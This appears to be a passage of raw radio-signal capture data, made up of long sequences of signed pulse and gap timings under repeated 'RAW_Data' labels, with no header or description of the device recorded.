337 -130 93 -368 365 -106 339 -128 355 -94 121 -374 101 -368 125 -354 351 -102 141 -364 105 -336 377 -106 337 -130 131 -348 93 -380 353 -106 349 -142 103 -3708 131 -360 103 -358 107 -368 363 -108 337 -128 351 -94 391 -104 357 -108 105 -360 357 -106 351 -140 333 -124 107 -376 97 -360 123 -360 327 -122 143 -342 135 -332 351 -140 333 -126 95 -370 139 -334 367 -108 337 -128 97 -3750 99 -360 93 -392 101 -356 357 -106 351 -142 333 -122 361 -104 357 -108 105 -398 319 -142 319 -142 333 -124 107 -376 97 -360 125 -360 327 -122 121 -356 139 -334 371 -106 339 -128 131 -350 91 -382 353 -104 349 -140 105 -3706 131 -358 103 -356 143 -334 367 -106 339 -128 351 -94 369 -130 337 -128 93 -368 365 -108 337 -128 353 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -338 375 -106 337 -130 131 -348 93 -380 353 -106 349 -140 105 -3702 131 -356 101 -396 105 -334 371 -106 337 -130 353 -94 369 -128 339 -128 93 -368 365 -108 337 -130 353 -94 121 -374 101 -370 123 -354 351 -102 143 -362 105 -336 377 -106 337 -130 131 -348 93 -380 353 -106 351 -140 103 -3706 133 -356 103 -358 -RAW_Data: 141 -334 367 -108 337 -128 351 -94 369 -130 337 -128 93 -368 367 -106 337 -130 353 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 375 -108 337 -130 131 -346 105 -370 363 -108 337 -128 97 -3748 97 -362 93 -370 129 -340 347 -126 355 -124 337 -128 337 -130 337 -126 127 -348 351 -140 333 -94 377 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -338 373 -108 337 -130 99 -382 91 -382 353 -104 349 -140 105 -3704 133 -356 103 -394 105 -334 367 -108 337 -128 353 -94 369 -128 337 -130 93 -368 365 -106 339 -128 353 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -338 375 -106 337 -130 133 -346 105 -370 363 -106 339 -128 97 -3722 133 -370 105 -360 103 -380 321 -140 341 -102 363 -92 369 -128 337 -128 95 -366 367 -92 347 -136 333 -124 141 -342 135 -334 123 -374 317 -134 141 -344 93 -366 343 -128 337 -128 125 -348 125 -372 317 -134 333 -124 143 -3710 99 -372 97 -372 95 -372 347 -124 337 -128 337 -130 337 -128 335 -126 125 -350 347 -134 331 -124 339 -126 123 -372 101 -366 93 -396 331 -132 103 -358 143 -334 365 -108 337 -128 97 -374 141 -334 365 -106 339 -128 97 -3720 131 -374 103 -362 103 -380 357 -106 341 -102 361 -94 367 -130 337 -128 93 -368 367 -92 347 -136 333 -124 141 -342 135 -334 123 -374 317 -134 141 -344 93 -366 351 -126 335 -126 123 -344 129 -372 315 -126 355 -124 91 -3748 99 -382 95 -370 97 -372 347 -124 347 -94 369 -128 339 -128 337 -126 95 -384 349 -102 337 -124 373 -94 123 -372 101 -368 123 -352 351 -140 105 -362 105 -370 343 -106 339 -130 131 -346 105 -368 365 -108 337 -128 95 -3728 131 -368 105 -360 103 -380 355 -106 343 -100 363 -92 369 -128 337 -130 93 -368 367 -92 347 -134 333 -124 143 -342 135 -332 123 -372 319 -134 139 -344 95 -366 343 -128 337 -128 127 -344 125 -374 317 -134 333 -124 123 -3722 99 -386 95 -370 97 -372 347 -124 349 -126 359 -104 359 -106 337 -124 145 -340 347 -106 339 -130 359 -94 139 -342 127 -360 125 -338 349 -134 103 -396 105 -336 369 -106 339 -128 99 -380 93 -380 353 -106 349 -140 103 -3706 131 -358 101 -396 105 -334 367 -106 337 -130 353 -94 369 -128 337 -130 93 -368 365 -106 337 -130 353 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -336 377 -106 337 -130 131 -348 105 -370 363 -106 339 -128 95 -3750 99 -360 93 -390 103 -356 357 -106 351 -142 331 -124 361 -104 357 -108 -RAW_Data: 105 -398 319 -142 319 -142 333 -122 109 -374 97 -362 123 -360 327 -124 121 -354 139 -336 369 -108 337 -130 131 -348 93 -380 353 -104 351 -142 103 -3698 133 -352 135 -360 105 -336 375 -106 339 -128 355 -94 369 -128 337 -130 93 -368 365 -106 339 -128 355 -94 121 -374 101 -368 125 -354 351 -138 105 -364 105 -336 377 -106 339 -128 131 -350 91 -380 355 -104 351 -140 105 -3706 131 -358 101 -358 141 -336 365 -108 337 -128 353 -94 369 -128 339 -128 93 -368 365 -108 337 -128 355 -92 121 -374 101 -370 125 -354 349 -104 141 -364 103 -338 375 -106 339 -128 133 -346 105 -370 363 -108 337 -128 95 -3720 133 -358 93 -392 101 -358 355 -106 353 -140 331 -124 359 -106 357 -108 105 -398 319 -142 317 -142 333 -124 107 -376 97 -360 125 -360 327 -122 143 -342 135 -332 351 -140 333 -126 95 -368 141 -334 367 -106 337 -130 97 -3722 133 -358 93 -392 101 -356 357 -106 351 -140 331 -124 359 -106 357 -108 105 -398 319 -142 319 -140 333 -124 109 -374 99 -360 125 -360 327 -122 143 -344 99 -366 351 -140 333 -126 95 -368 139 -334 367 -108 337 -130 129 -3694 131 -372 103 -360 103 -382 321 -124 359 -104 337 -122 343 -126 369 -96 125 -366 343 -126 355 -104 337 -124 121 -356 141 -334 127 -356 349 -140 105 -364 103 -370 343 -108 337 -130 131 -346 107 -368 365 -108 337 -128 97 -3750 97 -362 93 -390 101 -358 357 -106 351 -140 333 -124 359 -106 357 -108 105 -398 319 -142 317 -142 333 -124 107 -376 97 -362 123 -360 327 -124 121 -354 139 -336 371 -106 339 -128 99 -382 93 -380 353 -104 349 -140 105 -3706 133 -358 101 -358 141 -336 365 -106 339 -128 351 -94 369 -130 337 -128 93 -368 365 -106 339 -128 355 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 377 -106 337 -130 131 -348 105 -370 363 -106 337 -128 97 -3750 99 -360 93 -390 101 -394 321 -106 351 -142 333 -122 361 -104 357 -108 105 -398 319 -142 319 -142 333 -124 109 -374 97 -360 125 -360 327 -122 121 -356 139 -336 369 -108 337 -130 97 -382 107 -370 345 -106 371 -100 133 -3698 131 -342 129 -338 129 -340 347 -124 385 -106 359 -108 337 -128 351 -94 141 -340 371 -106 339 -128 357 -92 121 -374 103 -368 125 -352 351 -140 105 -362 105 -370 343 -108 337 -130 131 -346 105 -370 363 -108 337 -128 97 -3722 133 -372 103 -362 103 -380 355 -106 341 -102 361 -94 367 -130 337 -128 95 -368 365 -94 347 -134 335 -122 143 -342 135 -332 -RAW_Data: 123 -372 317 -136 139 -346 93 -368 343 -128 337 -126 127 -346 125 -372 317 -134 335 -122 123 -3724 99 -384 95 -370 97 -372 347 -124 349 -126 359 -104 359 -108 335 -124 145 -342 347 -106 339 -130 359 -92 141 -340 129 -360 123 -340 349 -132 105 -396 105 -336 369 -106 337 -130 97 -382 93 -380 353 -104 349 -140 105 -3706 131 -356 103 -394 105 -334 369 -106 337 -130 353 -94 369 -130 337 -128 93 -368 365 -108 337 -128 355 -94 121 -374 101 -368 125 -354 351 -138 105 -364 105 -336 377 -106 339 -128 131 -350 105 -368 347 -140 337 -100 135 -3698 131 -356 103 -394 105 -336 367 -106 337 -130 353 -94 369 -128 337 -128 95 -366 367 -106 339 -128 355 -94 121 -374 101 -370 125 -352 351 -138 107 -362 105 -338 375 -106 337 -130 133 -346 105 -370 363 -108 337 -126 97 -3722 131 -360 91 -392 101 -358 357 -106 351 -138 333 -124 359 -104 359 -108 105 -398 319 -140 319 -142 335 -122 109 -374 97 -362 123 -360 327 -124 143 -342 101 -366 351 -140 333 -126 95 -368 139 -334 367 -106 339 -128 131 -3692 131 -372 105 -360 103 -382 321 -124 359 -104 337 -122 343 -126 369 -96 125 -366 343 -126 357 -104 335 -124 123 -356 139 -334 127 -356 349 -140 105 -362 105 -370 343 -108 337 -132 131 -346 105 -370 365 -106 337 -128 97 -3718 131 -352 137 -360 105 -336 377 -106 339 -128 355 -94 369 -128 339 -128 93 -368 365 -108 337 -128 355 -94 121 -374 101 -368 125 -354 349 -140 105 -364 105 -336 377 -106 337 -130 131 -346 107 -368 365 -106 337 -128 97 -3724 131 -372 105 -360 103 -380 321 -142 341 -100 363 -92 369 -128 339 -128 93 -368 367 -92 347 -136 333 -124 141 -342 135 -332 123 -374 319 -134 139 -344 95 -366 343 -128 337 -128 125 -346 125 -374 317 -134 333 -124 123 -3722 99 -386 93 -372 97 -372 345 -126 349 -126 359 -104 359 -106 337 -124 143 -342 347 -106 373 -98 359 -94 139 -340 129 -360 123 -340 349 -132 105 -396 105 -336 369 -106 337 -130 97 -384 91 -380 355 -104 349 -140 103 -3700 131 -350 137 -360 105 -336 375 -106 339 -130 355 -94 369 -128 337 -130 93 -368 365 -106 339 -128 355 -94 121 -374 101 -370 125 -352 351 -138 107 -362 105 -370 343 -106 339 -130 131 -348 93 -380 353 -104 351 -140 105 -3704 131 -354 103 -394 105 -334 371 -106 337 -130 355 -94 369 -128 337 -130 93 -368 365 -108 337 -128 353 -94 121 -374 103 -368 125 -352 351 -140 105 -362 105 -370 343 -108 337 -130 -RAW_Data: 131 -346 105 -370 363 -108 337 -128 97 -3750 99 -360 93 -372 129 -338 349 -124 353 -126 337 -128 337 -128 339 -126 127 -346 353 -140 333 -94 377 -96 121 -372 101 -370 123 -352 351 -140 105 -362 105 -370 343 -106 339 -130 131 -346 105 -370 365 -106 337 -128 97 -3720 131 -360 93 -390 103 -358 355 -106 351 -140 331 -124 359 -106 357 -108 141 -362 319 -142 355 -106 333 -124 109 -374 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 333 -126 95 -368 139 -334 367 -106 339 -128 131 -3694 131 -358 95 -390 101 -358 359 -104 349 -140 331 -124 359 -104 359 -106 107 -398 319 -140 319 -142 333 -122 109 -376 97 -362 123 -360 327 -122 143 -342 135 -332 351 -140 335 -124 95 -368 141 -334 367 -106 339 -128 99 -3720 133 -358 93 -392 101 -358 357 -106 351 -140 331 -124 361 -104 357 -108 105 -398 319 -142 317 -142 335 -124 107 -376 97 -360 125 -358 329 -122 143 -342 135 -332 351 -140 333 -126 95 -370 139 -334 367 -106 337 -130 99 -3752 99 -350 137 -360 105 -336 377 -106 337 -130 355 -94 369 -128 337 -130 93 -368 365 -108 337 -130 355 -92 121 -374 101 -370 125 -352 351 -140 105 -362 105 -338 375 -108 337 -130 131 -346 105 -370 363 -108 337 -128 97 -3720 131 -360 93 -390 103 -358 357 -104 353 -140 331 -124 361 -104 357 -108 105 -398 319 -142 319 -140 333 -124 107 -376 97 -362 125 -358 329 -122 143 -342 135 -332 351 -140 333 -126 95 -370 139 -334 367 -106 339 -128 99 -3720 133 -358 93 -392 101 -358 355 -106 353 -140 331 -124 361 -104 357 -108 105 -398 319 -142 317 -142 335 -124 107 -376 97 -360 125 -358 329 -122 143 -342 135 -332 351 -140 333 -126 95 -370 139 -334 367 -106 339 -128 99 -3726 131 -370 105 -360 103 -382 355 -106 341 -100 363 -92 369 -128 339 -128 93 -368 367 -92 347 -136 333 -124 141 -342 135 -332 123 -374 317 -134 141 -362 105 -336 371 -106 339 -130 131 -344 139 -334 365 -108 337 -128 97 -3744 99 -380 101 -360 105 -372 347 -108 339 -132 357 -124 339 -128 339 -128 93 -368 367 -106 337 -130 355 -94 121 -374 101 -368 125 -354 351 -138 105 -362 105 -370 343 -106 339 -130 99 -380 105 -368 365 -106 337 -128 97 -3722 133 -358 93 -392 101 -358 359 -106 351 -138 333 -122 361 -104 357 -108 105 -396 319 -142 319 -142 333 -124 107 -376 97 -360 125 -358 327 -124 141 -342 135 -334 353 -138 335 -126 95 -368 139 -334 367 -106 339 -130 97 -3722 131 -360 -RAW_Data: 93 -390 101 -358 357 -106 351 -140 333 -124 359 -104 359 -106 107 -396 321 -140 319 -142 333 -124 107 -376 97 -362 123 -360 327 -124 143 -342 101 -366 351 -140 333 -126 95 -368 139 -334 369 -106 337 -130 97 -3722 131 -352 135 -360 105 -338 375 -106 337 -130 355 -92 369 -128 339 -128 93 -368 367 -106 339 -130 353 -94 121 -374 101 -370 125 -352 351 -140 105 -362 105 -370 343 -106 339 -130 131 -346 105 -370 365 -106 337 -128 97 -3720 133 -358 93 -392 101 -358 357 -104 353 -140 331 -124 361 -104 357 -108 105 -398 319 -142 319 -142 333 -124 109 -374 97 -362 123 -360 327 -122 143 -344 99 -368 351 -138 335 -126 95 -368 139 -334 367 -106 339 -128 99 -3726 131 -370 105 -360 103 -382 351 -94 359 -104 337 -124 341 -126 371 -96 123 -368 343 -124 357 -104 335 -124 123 -356 139 -334 127 -356 351 -140 105 -364 103 -370 343 -108 339 -130 131 -346 105 -370 363 -108 337 -128 97 -3750 99 -362 93 -390 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 105 -398 319 -140 319 -142 335 -124 109 -374 97 -360 125 -360 327 -122 143 -342 135 -332 353 -138 335 -126 95 -368 139 -334 367 -106 339 -128 99 -3726 131 -360 93 -390 103 -356 359 -106 347 -140 331 -124 359 -104 359 -108 105 -398 319 -140 319 -142 333 -124 107 -376 97 -362 123 -360 327 -124 141 -344 133 -334 351 -140 333 -126 95 -368 141 -334 365 -108 337 -130 97 -3750 99 -362 91 -392 101 -394 319 -106 353 -142 333 -124 359 -104 359 -106 141 -364 319 -140 355 -106 335 -124 107 -376 97 -360 125 -358 329 -122 121 -356 139 -334 371 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3746 97 -348 127 -372 95 -372 347 -124 347 -94 369 -128 337 -130 337 -126 93 -386 349 -102 337 -122 375 -94 121 -374 101 -368 125 -352 349 -104 141 -364 105 -336 377 -106 339 -128 131 -350 103 -370 347 -106 373 -100 133 -3694 131 -352 137 -360 105 -336 373 -108 337 -130 355 -94 369 -128 337 -128 95 -366 367 -106 339 -128 355 -94 121 -374 101 -370 123 -354 351 -138 107 -362 105 -370 343 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3722 131 -358 93 -392 101 -358 355 -106 353 -140 331 -124 359 -106 357 -108 105 -398 319 -142 319 -142 331 -124 109 -374 99 -360 125 -360 327 -122 143 -342 135 -332 351 -140 333 -126 95 -370 139 -334 367 -106 339 -128 99 -3724 131 -342 129 -372 95 -372 347 -92 383 -104 361 -106 339 -130 -RAW_Data: 355 -92 139 -342 373 -108 337 -130 355 -94 121 -374 137 -332 125 -354 351 -138 107 -362 105 -370 343 -106 339 -128 133 -346 105 -370 365 -106 337 -130 95 -3728 131 -370 103 -362 103 -380 355 -106 341 -102 363 -92 391 -104 359 -106 105 -398 321 -106 353 -140 333 -124 109 -374 97 -360 125 -360 327 -122 143 -342 135 -334 351 -140 333 -126 95 -368 139 -334 369 -106 337 -130 97 -3754 99 -350 137 -360 105 -336 377 -106 339 -130 353 -94 369 -128 337 -128 95 -366 367 -108 337 -130 355 -92 121 -374 139 -332 125 -354 351 -138 107 -362 105 -368 345 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3752 99 -360 93 -390 103 -356 357 -106 351 -140 333 -124 361 -104 357 -108 105 -398 319 -142 319 -142 333 -124 109 -374 97 -362 123 -360 327 -122 143 -344 99 -368 351 -140 333 -126 95 -368 139 -334 367 -106 339 -128 131 -3690 131 -360 93 -390 103 -356 357 -106 351 -140 333 -124 361 -104 357 -108 105 -398 319 -142 319 -142 331 -124 109 -376 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 333 -126 95 -368 139 -334 367 -108 337 -130 97 -3724 131 -358 93 -392 101 -356 357 -106 351 -142 331 -124 359 -106 357 -108 105 -398 319 -142 319 -140 333 -124 109 -374 99 -360 125 -360 325 -124 141 -344 135 -332 353 -138 335 -126 95 -366 141 -334 367 -106 339 -128 99 -3754 99 -360 93 -390 101 -358 357 -106 351 -140 333 -122 361 -104 357 -108 105 -398 319 -142 319 -140 333 -124 109 -374 97 -362 125 -358 327 -124 141 -342 135 -334 351 -140 335 -126 95 -368 139 -334 367 -106 337 -130 97 -3752 99 -382 103 -360 105 -370 345 -106 339 -130 355 -94 391 -104 359 -106 105 -362 355 -106 353 -140 333 -124 109 -374 97 -360 125 -360 327 -122 123 -354 139 -336 369 -108 337 -130 129 -350 93 -380 353 -106 349 -140 103 -3704 133 -356 101 -394 105 -336 367 -108 337 -130 353 -94 369 -128 339 -128 93 -368 365 -108 337 -128 355 -94 121 -374 101 -368 125 -354 349 -104 141 -364 105 -368 345 -106 337 -130 131 -348 93 -380 353 -106 349 -142 103 -3706 131 -358 101 -396 105 -334 367 -108 337 -128 353 -94 369 -96 371 -128 93 -368 365 -106 337 -130 353 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -338 375 -108 337 -130 131 -348 93 -413598 173 -302 161 -330 121 -338 379 -104 341 -124 339 -128 337 -128 339 -128 125 -346 355 -140 333 -126 317 -126 121 -374 101 -368 91 -386 351 -102 -RAW_Data: 141 -362 105 -366 343 -106 337 -130 99 -378 103 -368 365 -106 337 -130 97 -3718 131 -374 103 -362 101 -382 319 -142 341 -100 363 -92 369 -128 337 -128 95 -366 367 -92 347 -134 335 -122 143 -342 101 -366 123 -372 319 -134 139 -344 93 -366 345 -126 337 -128 125 -348 125 -372 317 -134 333 -124 143 -3714 97 -360 101 -386 105 -336 357 -140 335 -126 351 -94 391 -104 357 -108 105 -360 359 -106 349 -140 333 -122 109 -374 97 -360 125 -360 327 -122 143 -342 99 -366 351 -140 333 -126 95 -368 139 -334 369 -106 337 -130 97 -3718 133 -358 93 -390 103 -358 357 -106 351 -138 331 -124 361 -104 357 -108 105 -398 319 -106 355 -140 333 -124 109 -374 97 -362 123 -360 327 -124 121 -354 139 -336 369 -108 337 -130 131 -348 105 -372 345 -106 371 -100 133 -3690 131 -344 127 -372 97 -372 345 -92 377 -94 369 -128 337 -130 335 -128 93 -356 347 -134 335 -122 373 -96 121 -372 101 -368 125 -352 349 -104 141 -364 103 -338 375 -108 339 -130 97 -382 93 -380 353 -104 349 -140 103 -3706 133 -356 103 -394 105 -334 367 -108 335 -130 353 -94 367 -130 337 -128 95 -368 365 -106 339 -128 355 -94 121 -374 101 -368 125 -354 349 -140 105 -364 103 -370 343 -108 337 -130 131 -346 107 -368 365 -106 337 -130 95 -3750 99 -360 93 -390 101 -358 357 -106 351 -140 333 -124 359 -104 359 -106 107 -396 321 -140 319 -142 333 -124 107 -376 97 -362 123 -360 327 -122 123 -354 139 -334 371 -106 339 -130 129 -350 105 -368 347 -140 337 -100 135 -3700 131 -358 103 -356 143 -334 365 -108 337 -128 353 -94 391 -104 357 -108 105 -360 357 -106 351 -140 333 -124 109 -374 97 -360 125 -360 327 -122 121 -356 139 -336 369 -108 337 -130 97 -382 93 -380 353 -106 349 -140 105 -3702 131 -354 103 -394 105 -336 369 -106 339 -128 355 -92 369 -130 337 -128 93 -368 365 -108 337 -130 355 -92 121 -376 101 -368 125 -354 349 -140 105 -364 103 -338 375 -108 337 -130 131 -346 105 -370 365 -106 337 -128 97 -3726 131 -372 103 -360 103 -380 321 -140 341 -102 361 -94 389 -106 357 -108 105 -398 321 -104 353 -142 333 -124 107 -376 97 -360 125 -360 327 -122 143 -342 135 -332 351 -140 333 -126 95 -370 139 -334 367 -108 337 -128 99 -3718 133 -350 137 -360 105 -336 375 -106 339 -128 357 -92 369 -128 339 -128 93 -368 367 -106 339 -128 355 -92 121 -374 139 -332 125 -354 351 -138 107 -362 105 -370 343 -106 337 -130 133 -346 105 -370 -RAW_Data: 363 -108 337 -128 97 -3722 131 -372 105 -360 103 -382 355 -106 341 -102 363 -122 339 -128 337 -130 93 -368 367 -92 347 -136 333 -124 141 -342 135 -332 123 -374 319 -134 141 -344 93 -368 343 -128 337 -126 127 -344 125 -374 317 -134 333 -124 123 -3724 99 -386 93 -372 97 -372 345 -126 349 -126 359 -104 359 -106 337 -124 145 -342 345 -108 371 -98 359 -92 139 -342 129 -360 123 -340 351 -132 105 -394 107 -334 369 -106 339 -128 99 -382 91 -380 355 -104 349 -140 105 -3706 131 -340 129 -338 129 -372 315 -124 385 -106 359 -108 337 -130 351 -94 139 -342 371 -106 339 -128 355 -94 121 -374 137 -334 125 -354 349 -140 105 -364 103 -370 343 -108 339 -130 131 -346 105 -370 363 -108 337 -128 97 -3726 133 -370 103 -360 103 -382 319 -142 341 -100 363 -92 391 -104 359 -108 105 -348 377 -96 369 -96 369 -98 125 -368 93 -396 103 -360 347 -108 143 -342 93 -390 327 -122 359 -106 139 -358 105 -360 351 -104 361 -108 141 -3702 97 -386 95 -370 97 -372 347 -124 349 -124 339 -128 337 -128 337 -128 127 -350 351 -102 369 -92 377 -94 121 -372 103 -368 125 -352 349 -140 105 -362 105 -370 343 -108 337 -130 131 -346 105 -370 365 -108 337 -128 97 -3720 131 -358 93 -392 101 -358 357 -106 351 -138 333 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -122 109 -374 97 -362 125 -360 327 -122 143 -342 135 -332 351 -138 335 -128 95 -368 141 -334 367 -106 337 -130 129 -3716 99 -362 93 -370 129 -340 347 -124 357 -124 337 -126 339 -128 337 -128 125 -346 355 -140 333 -126 347 -94 121 -374 101 -368 125 -354 349 -140 105 -364 105 -368 345 -106 337 -130 131 -346 107 -368 365 -108 337 -128 97 -3750 99 -360 93 -390 101 -358 357 -106 351 -142 333 -124 359 -104 359 -106 141 -362 321 -140 357 -106 333 -124 109 -374 97 -362 123 -360 327 -122 123 -354 139 -334 371 -106 339 -130 131 -346 105 -370 365 -106 337 -128 97 -3720 131 -360 93 -392 101 -358 355 -106 353 -140 331 -124 361 -104 357 -108 105 -398 319 -142 355 -106 335 -124 107 -374 97 -362 123 -360 327 -124 141 -344 133 -334 351 -140 333 -126 95 -370 139 -334 367 -108 337 -130 97 -3750 99 -362 93 -390 101 -358 357 -106 351 -142 333 -122 361 -104 357 -108 141 -362 319 -142 355 -108 333 -124 109 -374 97 -360 125 -360 327 -122 121 -356 139 -334 371 -106 339 -128 133 -346 105 -370 365 -106 337 -128 97 -3722 131 -360 91 -392 101 -358 -RAW_Data: 357 -106 351 -140 331 -124 361 -104 357 -108 141 -362 319 -142 355 -106 335 -122 109 -374 97 -362 123 -360 327 -124 141 -342 135 -332 353 -140 335 -126 95 -370 139 -334 367 -106 337 -130 131 -3714 99 -346 127 -372 97 -372 347 -124 345 -94 369 -128 339 -128 337 -126 93 -386 349 -104 335 -124 375 -94 121 -372 103 -368 125 -350 351 -140 105 -362 105 -370 343 -108 337 -130 131 -346 105 -370 365 -108 337 -128 97 -3726 131 -370 103 -362 101 -382 357 -104 343 -100 363 -124 359 -104 359 -108 105 -348 377 -94 371 -96 369 -98 125 -368 93 -396 103 -360 347 -108 143 -342 91 -392 327 -122 357 -140 105 -360 105 -360 349 -106 361 -142 107 -3702 131 -366 103 -360 103 -380 357 -104 343 -100 363 -124 359 -104 359 -108 105 -398 319 -140 319 -142 333 -122 109 -376 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 335 -126 95 -368 139 -334 367 -108 337 -130 129 -3688 131 -352 135 -360 105 -370 343 -108 337 -130 355 -94 369 -128 337 -128 95 -366 367 -108 337 -130 355 -92 121 -376 137 -332 125 -354 351 -138 107 -362 105 -370 343 -106 339 -128 133 -346 105 -370 365 -106 337 -130 95 -3726 133 -370 105 -360 103 -380 357 -104 343 -100 363 -124 337 -128 339 -128 93 -368 367 -94 379 -102 335 -124 141 -342 135 -332 123 -374 317 -136 139 -346 93 -368 343 -128 337 -126 127 -346 125 -374 317 -134 333 -124 141 -3714 99 -372 97 -372 127 -340 347 -124 361 -104 359 -106 339 -124 387 -106 105 -360 333 -126 355 -124 361 -104 103 -384 105 -360 105 -370 347 -106 141 -362 103 -344 355 -124 357 -104 141 -346 93 -368 343 -128 335 -128 127 -3706 131 -358 105 -370 99 -362 351 -140 333 -126 347 -94 369 -128 339 -128 93 -368 367 -106 337 -130 353 -94 121 -374 101 -368 125 -354 351 -138 107 -362 105 -370 343 -106 337 -130 133 -346 105 -370 365 -106 337 -128 97 -3728 131 -370 105 -360 103 -380 357 -104 343 -100 363 -124 359 -104 359 -108 105 -348 377 -94 371 -96 369 -98 125 -368 93 -396 103 -360 349 -106 143 -342 93 -390 327 -122 359 -138 107 -358 105 -362 349 -106 359 -144 105 -3708 97 -386 93 -372 95 -372 347 -124 351 -124 339 -128 337 -130 337 -126 93 -384 351 -102 369 -92 375 -94 123 -372 101 -370 123 -354 351 -102 143 -362 105 -336 375 -108 337 -130 131 -346 105 -370 365 -108 337 -128 97 -3748 99 -360 93 -372 127 -340 347 -126 357 -124 337 -128 337 -128 339 -126 127 -346 -RAW_Data: 353 -140 333 -126 347 -94 121 -374 101 -370 123 -354 351 -102 143 -362 105 -370 343 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3750 99 -360 93 -392 101 -394 321 -104 353 -142 331 -124 361 -104 357 -108 141 -362 319 -142 355 -106 335 -124 107 -376 97 -362 123 -360 327 -122 121 -356 139 -336 371 -106 337 -130 131 -348 105 -368 365 -108 337 -128 97 -3752 99 -360 93 -390 103 -358 355 -106 353 -140 333 -124 359 -104 359 -106 107 -396 321 -140 355 -106 335 -124 107 -376 97 -360 125 -360 327 -122 143 -342 135 -334 351 -140 333 -126 95 -368 141 -334 367 -106 337 -130 131 -3716 99 -362 93 -370 129 -340 347 -124 357 -124 335 -128 339 -128 337 -128 127 -344 355 -140 333 -126 349 -94 121 -372 103 -368 125 -354 351 -138 107 -362 105 -368 345 -106 337 -130 131 -348 105 -368 365 -108 337 -128 97 -3722 133 -358 93 -390 103 -356 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 355 -108 333 -124 109 -374 97 -362 123 -360 327 -124 141 -342 135 -332 353 -140 335 -126 95 -368 141 -334 367 -106 337 -130 97 -3724 133 -358 93 -390 103 -356 357 -106 351 -140 333 -124 359 -104 359 -108 105 -398 319 -140 355 -106 335 -124 109 -374 97 -362 123 -360 327 -124 141 -344 133 -334 351 -140 333 -126 95 -370 139 -334 367 -106 339 -128 131 -3690 133 -352 135 -360 105 -336 375 -106 337 -130 357 -92 391 -104 357 -108 105 -398 321 -106 351 -142 333 -124 107 -376 97 -362 123 -360 327 -122 123 -356 137 -336 371 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3748 99 -360 125 -340 127 -340 347 -126 357 -124 337 -128 337 -130 337 -126 127 -346 355 -138 335 -126 347 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -370 343 -108 337 -130 131 -346 105 -370 365 -106 339 -128 97 -3748 99 -362 93 -390 103 -356 357 -106 353 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -124 107 -376 97 -360 125 -360 327 -122 143 -342 135 -332 353 -138 335 -126 95 -370 139 -334 367 -108 337 -130 129 -3720 99 -360 93 -392 101 -394 319 -106 353 -140 333 -124 359 -106 357 -108 141 -362 319 -142 355 -106 335 -124 107 -376 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 333 -126 95 -368 141 -334 367 -106 339 -128 131 -3690 131 -360 93 -390 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -108 333 -124 109 -374 97 -360 125 -360 -RAW_Data: 327 -122 143 -342 135 -332 353 -140 333 -126 95 -370 139 -334 367 -108 337 -130 131 -3716 99 -362 93 -390 101 -394 321 -106 353 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -108 333 -124 109 -374 97 -362 123 -360 327 -124 121 -354 139 -336 371 -106 337 -130 131 -346 107 -368 365 -108 337 -128 97 -3720 133 -360 91 -392 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -122 109 -374 97 -362 123 -360 327 -124 141 -342 135 -332 353 -138 335 -128 95 -370 139 -334 367 -106 339 -128 131 -3692 131 -360 91 -392 101 -358 357 -106 351 -140 331 -124 361 -104 357 -108 141 -362 319 -142 355 -106 335 -124 109 -374 97 -360 125 -360 327 -122 143 -342 135 -332 353 -138 335 -126 97 -368 141 -334 365 -108 337 -130 97 -3748 99 -380 103 -360 105 -370 347 -106 371 -100 357 -94 369 -128 337 -130 93 -368 367 -108 337 -130 355 -92 121 -374 137 -334 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 133 -346 105 -370 363 -108 337 -128 97 -3722 131 -360 93 -390 101 -358 357 -106 351 -140 333 -124 359 -106 357 -108 141 -362 319 -142 355 -106 335 -124 107 -376 97 -360 125 -360 327 -122 143 -342 135 -332 351 -140 335 -126 95 -370 141 -334 365 -108 337 -130 97 -3750 99 -362 93 -390 101 -394 319 -142 319 -140 333 -124 359 -104 359 -108 141 -362 317 -142 357 -108 333 -124 109 -374 97 -362 125 -360 327 -122 121 -356 139 -334 371 -106 339 -128 133 -346 105 -370 365 -106 337 -130 95 -3750 99 -360 93 -372 127 -340 347 -126 357 -124 337 -126 339 -128 337 -128 127 -344 355 -140 333 -126 347 -94 121 -374 101 -370 125 -352 351 -138 107 -362 105 -370 343 -106 339 -130 131 -348 105 -370 363 -108 337 -128 97 -3750 99 -362 93 -370 129 -340 347 -126 355 -124 337 -128 337 -130 337 -128 125 -346 353 -140 335 -124 347 -94 121 -374 101 -370 125 -352 351 -138 107 -362 105 -370 343 -106 339 -130 133 -346 105 -370 363 -108 337 -128 97 -3754 97 -360 93 -392 101 -358 357 -104 353 -140 333 -124 359 -104 359 -106 141 -364 319 -140 357 -106 335 -124 107 -376 97 -360 125 -358 329 -122 141 -342 135 -334 353 -140 333 -126 95 -368 141 -334 367 -106 339 -128 131 -3718 99 -360 125 -358 103 -394 319 -140 319 -142 335 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -122 109 -376 97 -360 125 -358 329 -122 121 -356 139 -334 371 -108 337 -130 131 -346 -RAW_Data: 105 -370 365 -106 339 -128 97 -3720 131 -360 93 -392 101 -358 355 -106 353 -140 333 -124 359 -104 359 -106 141 -362 321 -140 357 -106 335 -124 107 -376 97 -360 125 